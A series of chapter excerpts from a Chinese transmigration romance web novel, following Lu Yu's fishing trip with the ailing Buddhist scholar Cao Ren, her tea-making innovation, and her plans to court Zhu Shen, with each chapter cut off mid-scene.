那些羡慕嫉妒陆婠的女郎们时常在背后议论陆婠只是运气好而已。 因为这些议论,向来好强的陆婠对自己狠得下心,事事都要做到最好。 “大魏双珠”的名字不是她凭空得来的,在杨琇莹未来建业城时,她除了外貌在江东无人能比肩,才情也是首屈一指。 陆萸至芙蓉院门口,守门的仆役见到她这么晚了还上门,忙吓得赶紧去里屋请示,很快丹桂就来门口迎接陆萸。 雨势实在太大,哪怕一路上大部分路程有遮雨回廊,陆萸的裙摆还是有些许淋到了雨,甚至有少许飞溅的雨水把额前的头发打湿。 陆婠见到如此狼狈的妹妹,忙放下手中的棋谱,讶然道:“有什么事差木槿喊我就是,何必冒雨前来?” 她让丹桂找了布给陆萸擦裙摆上的水,自己则起身亲手拿着细棉布细细擦头上的水,眼神专注又认真。 为了看书,屋内点了好几盏灯,明亮的灯光照耀下,陆婠未施粉黛的脸,光滑如细腻的白瓷,当真如盛放在夜色中的牡丹。 陆萸看着这样的姐姐,脑中想起一句诗:千秋无绝色,悦目是佳人。 可惜这样的佳人再过几年就要出嫁了,她心中不舍,一时忍不住伸手紧紧抱住了陆婠。 妹妹向来懂事稳重,甚少这般情绪外露,突如其来的拥抱让陆婠一惊,忙问:“阿萸怎么了?” 陆萸心中闷闷,眼眶发热,但她只摇摇头靠在姐姐怀中,瓮声瓮气道:“方才做了一场噩梦,想阿姊了。” 闻言,陆婠无奈一笑,轻轻拍拍陆萸的背,安抚道:“莫怕,今夜我陪你入眠。” 得了这句话,陆萸立马开心得松开了陆婠,又怕反悔,双手紧紧拉住姐姐的衣袖道:“那就赶紧就寝吧。” 陆婠宠溺的摸了摸陆萸的头顶后,才无奈笑道:“你先去内室等着,我去洗漱一番就来。” 虽然姐妹二人一直以来感情很好,但陆萸心里住着三十岁的灵魂,早已没了和小女孩挤在一张床上聊天的心情。 第一次和美人姐姐挤在一起,陆萸想的却是近朱者赤,不知道能否沾染一点美人的气质,让平平无奇的自己也多些灵气。 熄灭了屋内的灯后,陆婠 14. 第十四章 梦想 《续命丹》全本免费阅读 十几日后,终于迎来连续的艳阳天,这日清晨,陆萸欢天喜地地跟着曹壬去鸡笼山垂钓了。 先帝在位时,连年对西匈奴和北鲜卑用兵,导致战马稀缺,后来朝廷规定除皇室和一品侯爵可用马车,其余皆用牛车。 如今皇室虽然衰败,各大世家也早已习惯牛车,且对皇室面子上的尊重还是有的。 南安王府的马车比太守府的牛车宽敞,车轮更大更厚实,坐在上面很稳当。 陆萸时不时的掀起帘子看着窗外的景致,曹壬则正专心看着《华严经》,二人中间书案上的莲花纹香炉正燃放着旃檀香。 旃檀还有一个名字“予乐”,寓意除疾身安之乐也,老王妃常年礼佛熏的就是这个,木香醇和,充满了整个马车。 曹壬看完一页,伸手再翻下一页的时候,手腕上的佛珠手串整个都露了出来。 上次他手把手教陆萸习字的时候,她近距离观察过这串佛珠,上面刻有梵文,还悠悠散发出一股独特的香味。 曹壬告诉她此佛珠是老王妃从静初寺得道高僧那里求来的,材质是紫檀木,共九颗珠子,取长久之意。 为不辜负祖母一番好意,自他六岁起该手串便未曾离过手,如今已被磨得光滑细腻,色泽铮亮。 百无聊赖,陆萸安静地看着他读经书,时下流行清谈,受老庄思想的影响,《般若经》也是受大众喜爱的经书,可曹壬好似更爱读《华严经》。 旃檀香袅袅烟雾中,她仿佛看到一名修行多年的僧人正在佛像前打坐。 不忍打扰他修行,她调转视线看着木槿打包的油盐和佐料,高端的食材往往只需要最简单的烹饪,此番垂钓她是奔着吃而去。 想着马上就能吃到心心念念的烧烤,她忍不住咽了咽口水,扭头偷看一眼沉浸在佛经中的少年,她在心里默念一声阿弥陀佛。 鸡笼山清水河畔,二人在案几旁坐下后,陆萸把食盒逐层打开,笑道:“尝尝,刚学的手艺不知可入你的眼?” 二人相处的久了,曹壬如今也不似之前那般讲究了,径自拿起一块枣泥酥尝了起来,然后点点头:“不错。” “都尝尝,若有不合口味的,我再改进改进。” “吃食何须自己动手,那样太累了”曹壬拿起一块红豆小饼道。 “这叫技多不压身,哪怕有朝一日落魄了,我还能开个点心铺子”陆萸笑着回,她大手大脚的买了几次陈记点心的糕点后,突然想起学习做吃食了。 既省钱,又能想吃什么自己做,不是更好?虽然浪费了很多食材,但总归是做的能入口了,这不今天就急哄哄的拿来献宝了。 对琴棋书画她大概是再也不会开窍了,但可能因为自己是吃货,加之前世为省钱经常在出租屋做饭,如今学做小点心却越来越得心应手,她甚至还根据前世吃过的一些味道对现有的食材进行改良制作。 虽然没有高端机器和各种添加剂,但也算丰富了现有的种类。 曹壬闻之,却以为庶女或许真是活的太艰难了,以至于想得这样远,于是,很捧场的每样都吃了一块。 一旁的方言见状,几次想要出言提醒“医官不让多食”,但看到少主脸上满足的笑,又生生忍住了。 二人吃饱喝足,休息够了,开始动手钓鱼。 陆萸知曹壬信佛肯定只带粮食饵料,便自己带了蚯蚓,这是她几天前让侍人挖了养起来的。 当看见木盒中蠕动的蚯蚓时,曹壬的眼睛都看直了,心中连连默念阿弥陀佛,要把这般鲜活的生命挂上鱼钩,太过残忍了。 陆萸才不管这些,接过木槿递过来的鱼竿,麻利的从土中翻出一根小指长的蚯蚓,然后熟练的将蚯蚓挂在鱼钩上,蚯蚓的身子在钩尖上扭动着,挣扎着。 不管一旁曹壬怔愣的目光,她站起身,用力抛竿,那动作,熟练得好似做了无数回。 别说曹壬主仆,就是木槿也看懵了,女公子从未垂钓过,怎这般娴熟? 他们不知道的是,前世的陆萸每逢周末,除了爬山就是钓鱼,孤独的人,只有孤独的爱好。 感受大自然的气息,一个人静静的坐在鱼塘边沉思,那是二十一世纪加班社畜最幸福的时光。 不多时,鲈鱼上钩,这让陆萸惊喜不已,她原只是试一下水,毕竟鲈鱼对生长环境要求很高,想着若没有鲈鱼再用曹壬的饵料钓鲤鱼或者草鱼。 许是此处刚好有鲈鱼群,钓上一条没过多久,又接连上钩了几条,数了一下,已经有七条鲈鱼,而曹壬那里却是一条鱼都还没上钩。 放下鱼竿,陆萸笑道:“你今日有口福了,能尝到我亲自烤制的鲈鱼。” 木槿还没从震惊中回过神来,陆萸就自顾自的提着桶至河畔大石头旁。 她用力将鱼砸在石头上,把鱼一条条砸死后,拿出准备好的刀刮鳞片,开膛破肚、去鱼肠、去鱼鳔、去鱼鳃,再把鱼洗干净。 这一套动作行云流水,麻利快捷。 曹壬在一旁看得脸色发白,见鱼内脏一次次被掏出,差点没忍住翻涌而上的呕吐。 方言和江澈也好不到哪里去。 她真是太守的女儿?二人作为曹壬的近身侍从,这等庖厨之事从不需要自己动手,陆氏好歹也是世家大族,陆氏的贵女杀起鱼来竟如此娴熟且残暴,简直不可思议。 陆萸浑然不知他们怎么想,麻利的处理好鱼后,把小刀洗净收回包里,前世那种悠闲惬意的心情又回来了,开心得差点哼起小调。 回过头发现大家五颜六色的表情,特别是曹壬发白的脸,她笑道:“你吃的鱼,他们也是这样杀的。” 闻言,曹壬猛摇头:“君子远庖厨!” 陆萸不置可否:“没事,呆会捧场尝一口就行。” 木槿则震惊过后一言难尽的表情看着陆萸,自家女公子也不知藏了多少不为人知的秘密,若非早上一起出的门,她简直要怀疑女公子被掉包了。 “愣什么,快来帮我烧火”陆萸催促木槿道。 木槿默然转身,去拿准备好的碳和竹签,为了吃烤鱼,陆萸连去年冬天用剩下的碳都带出来了。 可以这么说,大家今天纯粹是来看陆萸表演的,表演钓鱼、杀鱼,然后烤鱼。 快速将鱼穿上竹签后,陆萸又捣鼓出一堆瓶瓶罐罐,然后开始忙碌的烤鱼。 还别说,当阵阵香味扑鼻而来时,大家都开始对陆萸的手艺期待了。 最先品尝的是江澈,见他吃过以后眼睛一亮,木槿和方言才试着尝了一口,刚入口二人忙不迭的点头称赞。 陆萸将一条鱼递给曹壬:“你也尝尝?” 想起方才杀鱼的场景,曹壬没有任何食欲,忙摇头道:“我还不饿。” 陆萸想曹壬可能是吃东西比较斯文,于是从食盒中拿出盘子,用筷子挑去焦黄的鱼皮,再把鱼腹处没有刺的肉细细挑入盘中,再次递给他:“你可以放心食用了。” 这下,曹壬也不好意思再拒绝了。 一块鱼肉入口,清新软嫩,鲜美浓郁,香味溢满唇齿,久久缭绕,真是人间极品,他两眼欣喜地看着陆萸,却说不出话来。 见状,陆萸得意一笑:“如何?不让你失望吧?” 看着眼前灵动的女孩,曹壬想起《华严经》云:一切诸果,皆从因起,一切诸报,皆从业起。 他和小友的相遇,其因许是自己毎日虔诚的参佛。 心中有所思,他嘴角忍不住上扬:“阿萸从未让我失望过!” 夏日的阳光当真好,少年清透明亮的双眸盈盈笑意,微光莹莹,灿若银河,让陆萸分不清是被太阳光还是被他的笑晃得睁不开眼。 一场尽兴的垂钓之行结束,二人坐上马车回城,才行至半山腰,天空竟然下起了雨,马车只得放马脚步。 想着今日能垂钓,陆萸昨夜激动得半宿未眠,如今吃饱喝足,又听着窗外銮铃声合着雨声像极了催眠曲,她不知不觉间靠着马车壁就睡着了。 曹壬依然在看佛经,香炉升起袅袅青烟,他抬首看了眼睡着了还嘴角带着笑的小友,拿起身旁的斗篷轻轻替她盖了上去。 车外雨声阵阵,车内却一片安静祥和,銮铃“叮叮当当”的奏着乐章。 不知过了多久,许是遇到了坑洼的路面,马车突然颠了一下,陆萸睁开眼坐直了身子,伸了个懒腰,看到身上的斗篷,她问:“到了吗?” “还早,你再睡会”曹壬低头翻着佛经答。 “睡不着了,你陪我说会话吧”陆萸方才梦见了前世,心情有些低落,哪怕过去很多年,临终前父母对自己的漠然依然让她止不住心口发闷。 听陆萸语气不复之前轻快,曹壬抬头探究的看着她,真是个孩子,明明睡前还开开心心的,这情绪说变就变,如这场雨一般猝不及防。 知曹壬向来话少,陆萸也不期待他能主动聊什么, 15. 第十五章 谋划 《续命丹》全本免费阅读 杨琇莹主仆许是刚从马车里出来,身上的衣服还未湿透,而杨家的车夫正在费力的抬着陷入泥中的车轴。 “你去看看”曹壬道。 陆萸想起太子妃的事,再看雨中狼狈不堪的杨琇莹,哪怕之前不喜欢她太过傲娇,陆萸此刻仍起了恻隐之心。 她忙找出早上出门时准备的雨伞,一把扯掉伞柄上挂着的红色流苏坠子,然后掀起窗帘递给方言。 方言接过伞,快步走过去递给杨氏侍女后,他在杨氏车架旁查看一番,才知是车轮陷入泥地里,导致轴承断了,这个有点棘手。 映月接过油纸伞撑在杨琇莹的头顶,然后拿出帕子替杨琇莹擦掉脸上的雨水。 杨琇莹终于看清眼前的人,微微行礼:“多谢勇士,不知是哪家贵人施以援手,小女子明日必登门致谢。” “举手之劳,不必挂齿”方言不愿多言,转身就走。 陆萸趴在窗下从窗帘一角偷看着,谁知方言走后,杨琇莹和侍女竟然追了上来,这让她有些傻眼,忙放下窗帘坐直了身子。 方言刚回到车窗下向曹壬回禀前方情况,怎么也没想到杨氏女公子有此举动,刚想出言喝止她靠近马车,却是已经来不及了。 只见杨琇莹在车窗旁盈盈施礼,然后柔声道:“眼看夜色将临,而雨势不见小,不知可否让小女子与贵人同乘?” 似担心曹壬不同意,她又接着道:“不必入车内,坐门口即可。” 闻言,坐在门口的木槿吓得立马将头趴在膝盖上,杨氏女郎是见过自己的。 这杨琇莹当真大胆,若是陆萸,宁可等着车夫修好马车,也不敢随意去搭陌生人的车,她紧张得坐直了身子,两手紧紧捏着裙角,指节发白。 南安王府虽和陆氏有婚约,但在车里的不是世子和未婚妻,而是嫡长子和陆氏庶女,这若是传出去,肯定会成为建业城茶余饭后的谈资。 没有犹豫,曹壬低缓着声音,回:“既已有遮雨之物,女公子安心等着贵府派人来即可。” 不等杨琇莹回话,方言立马道:“在下回城会通知贵府,如今还请女公子让一让。” 未给杨琇莹任何拒绝的机会,南安王府的马车便已缓缓前行。 许是未曾想到会被拒绝,杨琇莹一脸愕然地立在雨中久久不能回神,侍女映月在耳畔骂着:“这侍人真是无礼至极!”可她一句都没有听进去。 行了一段路,确定他们不会追来,陆萸这才松了一口气,心中却很是矛盾,低落道:“我既也变得这般铁石心肠了。” 曹壬轻笑出声,道:“她有侍人相伴,你又何需自责?且不用多久刺史府的新马车就该到了。” 言毕,他拿出帕子替陆萸轻轻擦掉方才不小心被溅到的雨沫,想到她方才一副如临大敌的表情,擦的愈发轻柔了。 陆萸正想着曹壬的话,没注意他的举动,楞了一会,想起以往见杨琇莹出门皆是前呼后拥的,一拍大腿道:“那她为何非要搭乘你的车?” 她方才还有些许内疚,如今回想起来,这事总透着一股怪异,她抢过曹壬手中帕子,探究的眼神的看着他:“你们认识?” 就这一瞬间,她已经脑补了一堆世家贵女爱而不得的感伤画面。 说实话,如曹壬这般相貌和气度,不了解他的女子定能对他一见钟情。 若非他素来低调,没太多人见过他,如今风靡建业的未必是曹世子和大兄。 越想越觉得是那么回事,她的眼睛滴溜滴溜的看着曹壬,问:“落花有意流水无情?” 曹壬被她看得不自在,又被她的话气笑:“我与她素未谋面,她不过认识方言罢了。” 余下的他没有再解释,而是重新低头看起经书,儿女情长?那东西比梦想还奢侈,他可从来没想过。 认识方言,那该是知道这个马车是南安王府的,难怪她胆子那么大,有些想不明白,但陆萸没有再深思,而是开始考虑起之前谈论的朱慎。 想要抓住一个男人,应该先抓住一个男人的胃,回去后她要勤加苦练,做出陆萸牌点心,以后只要陆纯去马场,她就做点心送去刷存在感,如此这般想着,一时间斗志满满。 马车至陆府,已是夜幕,门口灯笼昏黄的光照着石台阶,湿漉漉的石板发着光亮。 陆萸刚要起身下车,曹壬喊住她,然后拿过斗篷细心地替她系好。 看着在胸前翻飞的手指,陆萸笑道:“我这么矮,定会把你的斗篷弄脏的。” 因是夏日,她没带斗篷出门,她刚刚想说的其实是夏天的雨不冷,但见他一脸认真,便改了口。 “无妨,去吧”曹壬回。 银杏已经撑伞候在门口,木槿先跳下马车后,转身去扶陆萸,斗篷实在过长,江澈看不下去,翻身下马伸手将陆萸从车上抱下来,然后稳稳的放在银杏的伞下。 陆萸提起斗篷几个台阶走至大门口,然后转身笑着向曹壬告别,昏黄的光影为她渡上浅浅的光晕,她瞳孔里的笑意,像是海棠花瓣上那一点清透的春日风光。 那一刻,曹壬心底突然一个声音道:“若是能永远留着这样的笑,该多好。” 是夜,南安王府行云院,曹壬正坐在雁鱼灯前写字,悬腕挥毫间,一个又一个清丽的小楷字从笔端流淌出来,他长长的影子投在地上,在火光被风吹动时微微晃动着。 看时辰不早了,方言劝道:“少主今日出游想必累了,早些歇息吧。” 曹壬听了,手上的动作未停,只问:“江澈去过世子那里了?” “是的”方言答。 曹壬素来不愿与外人太多接触,而方言在上巳节陪着曹善在小溪旁吟诗作赋,想必明日杨氏女郎会上门,提前告诉曹善也是防止他措手不及。 “若明日杨氏贵女未归还雨伞,是否需要世子提醒?”方言问。 曹壬微微蹙眉,道:“不必节外生枝!” 方言不再言语,只是安静地立在一旁,然后时不时替曹壬研磨。 他实在无法理解少主夜里赶着给陆女公子写字帖是为哪般,难道是为了让她早日练就一手好字,好配得上朱家郎君? 这么一想,他心里莫名的不高兴起来,研磨的力度也不知不觉间大了起来。 专心练字的曹壬听到砚台传来的“沙沙”声,眼角余光睨了一眼方言,然后继续写字。 今日在马车里的一番交谈让他突然意识到,小友终于长大了。 不久的将来,二人终会渐行渐远,在他看来,缘聚缘散,犹如云烟,生离死别,天道自然,心中没有分别心,才是真正的苦行。 只是在这分别到来之前,他还想尽自己所能的再为小友做些什么。 陆萸回去后,拐弯抹角的向陆婠打听了魏氏这段时间的社交动态,知正在为陆纯相看着,心里踏实了不少。 谁知才过了几日,陆婠告诉陆萸,陆纯不想成亲,就算定亲也得他建功立业之后才行。 陆纯说的建功立业,就是去荆州大营历练一番然后随大伯父出征,这得等到猴年马月?为此魏氏还和陆纯闹了一场不愉快。 陆纯相看的事就此不了了之,让陆萸瞬间有了紧迫感,于是原本打算学竖笛的她立马放弃了。 现如今习字和做小食才是关键,一时之间,她变得非常忙碌,连长兄约曹壬去游湖,她都没时间去。 又是一个艳阳天,几天前,陆萸让木槿打听到了陆纯今天下午要去马场,于是她今日五更天就起床准备各种小食,还备了一套茶具。 她发现这个时代饮茶之风盛行,待客清谈皆要饮茶,但茶叶的味道和后世新进工艺下做出来的没法比,现在的茶叶纯靠晒干,然后直接烹煮或者加一些奇奇怪怪的佐料一起,俗称茶汤,她觉得这“茶汤”不是口感不适,就是看着像黑暗料理一样难以下口。 去年回华亭祭祖的时候,陆婠告诉会稽陆氏庄园有一座茶山,陆氏的茶皆出自那里,所以回建业之前陆萸特意绕道去了会稽陆氏庄园看了茶山还把后世炒茶的步骤教给了制茶师傅。 当时陆纯只当陆萸是小孩子嘴馋闹着玩,根本没当一回事。 因为炒茶的铁锅、火候和手法等对炒制工艺影响很大,制茶师傅做了几次送来,陆萸皆觉得味道差强人意,慢慢的,大家都忘了这事。 前几天,会稽那边又送来一袋炒好的茶叶,陆萸让银杏烧水泡了一壶,只见茶碗中翠叶烟腾,汤色清澈透亮,随着飘出一股淡雅的清香,顿时让人沉醉,历时半年,炒茶工艺,终于成了。 木槿和银杏原是不懂品茶的人,喝过以后却也赞叹不已。 陆萸见产量很少,打算先给大兄陆弘尝过以后,再让他想办法向祖父建议推广这项工艺。 吴兴郡乌程温山自东吴以来就有御用茶园,现今仍每年向皇室提供御茶,而此茶山一直由吴兴沈氏管理。 和顾陆朱张这四大家不同,吴兴沈氏因忠于汉室一直不愿臣服孙权,所以在东吴期间非常低调。 因为低调,后来经历孙权打压世家,又经历魏灭东吴,各大世家皆损失惨重,吴兴沈氏反而家底丰厚,虽非一等士族,可其 16. 第十六章 未知 《续命丹》全本免费阅读 直至晚霞满天,陆萸兄妹才和朱慎作别,因这次送来的茶叶数量少,陆萸承诺下次再有茶叶一定送一份给朱慎。 回去的路上,靠在牛车上假寐的陆萸细细回想着朱慎的每一个表情,比起大大咧咧的二兄,这个少年的性格要沉稳更多,想要攻克他真是任重道远,但好在已经算是成功刷了一波脸,有好的开头就还有希望。 接下来她要暂时缓一缓,经常刷脸反而起不到惊艳的效果,华彩阁那边又催新品了,她得抓紧再设计四个单品才是。 自那次与曹壬一起和谢洐谈好合作之后,她不再自己上门,只是把画好的图纸交给木槿带去给掌柜,而掌柜按约定每一幅给五十两银子,至今已交稿三次。 有钱赚的日子,时间过得很快,又到了采秋茶的季节,自上次陆萸向陆弘说了自己的想法后,陆氏茶山在这次采茶时炒制了大量的茶叶。 收到茶叶后,陆萸让木槿将茶叶打包成几份,过几日是初一,她打算带着茶叶去建初寺找曹壬,至于南安王府的其他人自有魏氏去送。 恰遇中秋将至正是送礼最佳时节,一来二去,陆氏的新茶在建业城中刷出了名气,更有陆氏讲师旬大儒在饮茶后写了一首佳作,将陆氏茶叶的名气推上了新高度。 八月初一,秋高气爽,陆萸带着木槿直奔建初寺。 在大殿参拜完后,陆萸听小和尚的指引去后院禅房寻曹壬,入秋后寺中的树叶开始变黄,如今正随清风片片飘落。 她素来喜欢秋季,秋季没有盛夏的酷热没有严冬的寒冷也没有春日的狂风,就这样一切都刚刚好。 绕过几条曲曲折折的小路,她看到一大片柏树林,这片柏树自建初寺初建始栽种,现已成苍天大树,曹壬立在林间小道中,正抬头看着远处,不知在想什么,她欢快的喊了一声:“君期!” 曹壬闻声转过身,眉毛微扬,嘴角含笑:“阿萸,好久不见!”他的声音不疾不徐,像清风吹过广袤的原野。 还真是好久不见了,自那次鸡笼山垂钓后二人未再相见,虽然陆弘常与曹壬相约出游,但陆萸一直未曾同行。 “我带了茶叶给你”说着,陆萸小跑着至曹壬跟前,然后将手中的陶瓷罐递给他,这是个精美淡雅的罐子,白胚底色印有莲花图案,简约清净又大气, 陆氏的茶叶曹壬有听闻,他接过茶叶,问:“听说这种制作方法是你想出来的?” 尴尬的挠了挠头,陆萸笑回:“嘴馋,所以随便尝试了一下,运气好而已。” 她身上有很多别人不知道的东西,她不想解释,他便不去深究,或许某一天她会亲口告诉自己,但不说又如何,只要她开心就好,他将罐子递给江澈,然后带着陆萸在柏树林慢慢散步。 秋日的柏树林好似忘记了季节,依然那么苍翠,执着地泼洒着浓重的绿色,头顶时有清风吹过,树枝便传来“沙沙沙”的声音。 陆萸和他聊着鸡笼山归来后遇到的琐碎趣事,有关朱慎的,有关华彩阁的,语气轻快。 因心情愉悦,她走路也变得轻快起来,浅绿色的纱裙随风飘动,头上两支绿梅绢花也跟着动起来,像两只正在展翅的蝴蝶。 想来她很喜欢绿色,曹壬看着一旁的小友,只是安静地聆听,嘴角带着笑意。 道路两旁翠柏整齐排列着,太阳缓缓高升,因有翠柏遮挡,曹壬的影子随着他穿梭在林间时而出现时而消失。 见状,陆萸突然想起幼时玩的“踩影子”的游戏,瞬间玩性大起,她轻快的步子随着晃动的影子变成了小跳。 曹壬见她玩的开心,尽量走到能被太阳照到的位置。 “君期可曾玩过踩影子的游戏?” “不曾。” “你应该闪躲的,被我踩到你就输了。” “阿萸开心便好,我无所谓输赢”曹壬笑回,若是他闪躲间让小友摔倒了岂不是更糟? 陆萸知他向来文静,不会参与如此跳脱的游戏,心中怀念起在农村老家无忧无虑的童年时光,心绪也慢慢变得伤感起来。 想到曹壬打算二十岁生辰后出家云游四海,她忍不住叹道:“若我能做你的影子该有多好!” 闻言,曹壬的脚步一顿。 “那样,我便可以跟着你云游四海,看遍大魏的美景。” 陆萸低头看着影子接着感叹,见突然不动了,她催道:“怎么停下了?” 曹壬说不清此时是何种情绪,惆怅有之,欢喜亦有之,最后只余无声的叹息,散落在了再次迈开脚步而发出的声响中,他没有回她的话。 而她也好似无需他回答,看到影子再次晃动,她轻快的跳到下一个影子上,然后笑道:“可现在我又不想做你的影子了。” “何故?”曹壬脚步未停,心想真是孩子。 “你看,你的影子不会说话,若做你的影子,我便不能像如今这般与你分享我的喜悦了。” 曹壬默然半晌,回:“那确实无趣得紧。” 这个清晨的朝阳下,十六岁的曹壬陪八岁的陆萸玩了一个多时辰踩影子的游戏,他不闪躲,她却踩得认真,每一次轻快地跳跃下,仿佛踩的不是影子,而是她那回不去的童年时光。 守在身后的江澈和木槿看前面两位幼稚的行为,唯有无语望天。 而在柏树林不远处,杨琇莹主仆也立在林中,陆萸二人的对话清晰入耳,因太子妃自小产后身体每况愈下,杨琇莹此次是来给姐姐求平安的,顺便偷偷祈求杨氏家族不会把她送进东宫为良娣。 虽隔得远未能看清曹壬的脸,但听到那低沉熟悉的男声,杨琇莹的脚步不知不觉间停了下来。 那个女孩是陆萸,那日华彩阁的《追鱼》让她颜面扫地,她永远不会忘记。 不多时,突然有细雨落了下来,陆萸忙呼一声“哎呀下雨了”,然后急匆匆牵起曹壬的袖子就跑了起来,这病秧子可万不能被雨淋。 映月看着二人远去的背影,鄙夷的开口:“庶女就是上不得台面,如此佛门清净地和男子拉拉扯扯。” “那男子,你可曾见过?”杨琇莹问。 “许是陆氏的表亲吧,女郎还是快回去避雨吧”映月回。 杨琇莹本想追上去看看那男子的脸,却只是心底一叹,转身回了来时的路。 她心里既期盼那个人是心底那个人,又觉得哪怕真是那人,也于事无补,不过徒增烦恼罢了。 那次雨中相遇,是因为她和母亲崔氏争执不下后,一气之下匆匆出门而忘了带伞。高门贵女、大魏才女各种名声加持又能如何?她始终摆脱了不了家族的安排,如今竟只能求神拜佛,可大殿上那慈悲的佛,又能否听到她的心声。 禅房内,陆萸走后,江澈低声道:“方才柏树林中,卑职发现杨氏贵女在身后。” 曹壬正用帕子捂着嘴剧烈咳嗽着,咳得脸色惨白仿若连肺都快咳出来了,方才二人跑的太急,他的身体已经支撑不住,若非陆萸有事先走了,他真怕会吓到她。 再次喝过一口茶汤润过喉咙后,他沙哑着开口:“只要她没伤到阿萸便不用理她。” 江澈对杨氏贵女厌烦的紧,出身高门本该最注重礼义廉耻的,她却偷偷觊觎别人的未婚夫,此等行径真让人不齿。 那日杨琇莹见方言后追上来想要共乘马车,再加之翌日她直奔世子的院子登门道谢,江澈便知方言的猜测没有错。 那日他们故意不告诉车内之人是谁,只是不愿与她有所牵扯,想让她知难而退,毕竟世子已定亲,凡看重体面的女郎都会懂避嫌。 谁知她执迷不悟,世子已避而不见,她还连着登门两次,今日若是她又追了上来,江澈一定不会对她客气。 陆萸是见到谢洐差了六钱来找她,这才急匆匆从避雨的禅房离开的,自不知身后杨琇莹主仆何种心思。 至华彩阁密室,谢洐仍像当初一样斜倚在窗边,见到陆萸,他让六钱将茶杯递给她后,懒懒的开口:“女公子就随便将就一口,我这里可没有上等好茶。” 一听他这阴阳怪气的话,陆萸便知这是在抱怨没送陆氏茶叶给他,忙赔笑:“茶叶我已包好,只是还没来得及送来。” 谢洐低头欣赏着自己修长的手指,似漫不经心道:“女公子对谢某真是是越来越敷衍了,茶叶没有我的份便罢,连送来的图纸都没有了动人的故事。” 说实话,陆萸还真没想起给他送茶叶,想他长于洛阳皇宫,什么好茶叶没见过? 如今知自己理亏,忙低声与木槿交代一番后,道:“最近真是忙于习骑射,下次一定把故事写在纸 17. 第十七章 完美计划 《续命丹》全本免费阅读 “阿兄还记得阿萸妹妹吗?”朱琳见朱慎怔然,忍不住问。 朱慎低下头,若无其事地把玩起腰间挂着的玉佩,回:“甚少见面,已记不大清了,我以为季真也在。” 朱琳心底一松,方才的阿兄与之前见其他女子时不一样,原来是自己想多了,虽然她和陆婠是好友,对陆氏姐妹也有好感,但她不觉得陆萸有资格做自己的嫂子。 朱氏以武传家,如今朱氏的家主是已致仕的祖父,可下一任家主肯定是任职广州牧的父亲,父亲若想稳坐家主之位,子女中就得有一人文武皆备且资质极佳。 她的长兄喜文已是长沙郡太守,父母便将希望寄托在了次兄身上,这也是朱家迟迟未给他定亲的原因。 朱琳知道次兄品貌非凡,很多贵女与她结交为的也只是向她打听次兄的喜好,而次兄向来对所有贵女皆是客套且疏离。 再过两年完成陆氏学堂的课,次兄就要去广州军中历练,在朱琳看来,届时在军中挣得职务的次兄哪怕是娶京都的公主甚者娶北方高门嫡女都可以。 陆萸此时还在为渺茫的未来惴惴不安,不知车上兄妹各怀心思,若是知道,肯定不会再有后面的计划。 虽然前世她没有得到父母的爱,但奶奶从小就教她遇到无能为力之事时不必自怨自艾,只要想着去改变,哪怕其结果未必如自己所愿,努力了总比逆来顺受强。 在河畔消极了一下午后,陆萸又开始斗志满满了。 这天,又是一个秋高气爽的下午,陆萸像上次一样带着小食和茶具去练马场等陆纯和朱慎。 今日与前几次没有什么不同,大部分时间都是兄妹俩聊着趣事,而朱慎在一旁听着。 临分别,陆萸将茶叶罐子递给朱慎:“若叔重觉得此茶尚可,喝完了可告知我,我再送来给你。” 朱慎见陆萸一脸坦坦荡荡,眸中笑得真诚,犹豫了一下便接过罐子。 此罐子很精致,时下流行素雅清淡风,图案大多以梅兰竹菊为主,或也有葫芦、喜鹊、锦鲤等寓意吉祥的,然此罐却是以乳白色为底,罐上一棵桂花树,树下孩童梳着双丫髻,正单手撑着下巴在书案上打盹。 看着这个茶叶罐,朱慎忍不住想起在陆氏学堂时,大家私下皆笑话陆萸写字像鸡爪,这图案还真像她的风格。 嘴角不知不觉间上扬,他笑道:“谢阿萸相赠。” 陆萸在一旁偷偷观察着他,知这图案选对了,忙笑着回:“你既是阿兄的朋友,就如我阿兄一般,无需客气。” 这是她最近想出来套近乎的方法,朱慎太招蜂引蝶,而自己也在慢慢长大,想继续装嫩接近他估计太难。 听陆婠说很多贵女向他示好皆被他无情拒绝了,不但没有得到回应,反而引起他的厌恶,唯留黯然神伤。 所以她这样时不时拉陆纯当挡箭牌,然后假装只是把他当兄长,或许他的戒备心就会少一些。 从练马场回来的路上,陆萸靠在车内感叹,不是说女追男隔层纱吗?轮到自己竟如此任重道远,漫漫无期。 日子就在陆萸时不时找朱慎刷存在感和努力挣钱中悄然而逝,很快迎来了安和九年。 又是一年春好处,鸢飞草长的时节。 去年入冬后曹壬旧疾复发不便出门,陆萸便时常去看他,有时候带容易消化的小食,有时带搜罗来的各类玩具。 她最喜欢的是一个栩栩如生的鸠车,上有一大一小两只鸠鸟,车轮转动的时候鸠鸟会前后扇翅膀,不得不佩服古代木匠的技能,不用一颗螺丝钉竟然就能实现她的预期。 除了陆萸,陆氏兄弟也时不时登门探望,比起以往,这个冬日更加热闹,哪怕不能出门,曹壬也没有那么难熬。 开春后,若是遇到天气好,太阳暖和的时候,陆萸就让曹壬坐在廊下,边晒着太阳边看她在院中踢毽子。 这日,踢完毽子,看天色尚早,陆萸便留下来练字,经曹壬多次指点,如今她的字越来越好了。 虽说和曹壬写的没法比,但已勉强算得上娟秀,写出来让人看了也不会被取笑。 曹壬坐在书案前看书,陆萸安静的写字,难得的春日午后,院中时有鸟雀在海棠枝头欢快的唱歌。 院中原来只有一片靠墙的竹林,后来在陆萸的建议下种了这株海棠树,许是今年倒春寒,海棠枝头只有少许花苞,叶子也还没吐芽。 又写完一篇字,吹干字迹,陆萸很是满意的看了看,笑道:“我终于不用担心堕了陆氏的名声。” 江东陆氏,在大魏建国后,最引以为豪的是陆机出神入化的字和文章,作为他的后人,哪怕写不出那等扬名天下的锦绣诗篇,也不能继续写惨不忍睹的字。 曹壬放下手中的书简,看了眼陆萸的字,满意的点了点头。 眼看太阳偏西,陆萸打算回去了,于是整理起今日写的字。 一旁的江澈见状,犹豫了一下后,笑着问:“许久未听女公子提起朱家郎君,不知现下如何了?” 话才出口,方言便喝道:“怎的如此无礼!” 江澈一脸讪笑,却仍好奇的看着陆萸。 原来江澈也是个八卦青年呀,陆萸心中觉得好笑,之前有的抑郁瞬间一扫而空。 曹壬对两位侍从向来宽厚,如今脸上也有些许不悦。 陆萸忙笑回:“我原也没想瞒着君期,可惜无任何进展,亦无甚可说的。” 言毕,她无奈一叹。 那朱慎,真是食古不化刀枪不入呀,这么久以来数次同案品茶吃小食,却吝啬得多一句话都不曾。 很快她就要十岁了,古代按虚岁就是十一,其实她已经开始气馁,想着要不要换个人。 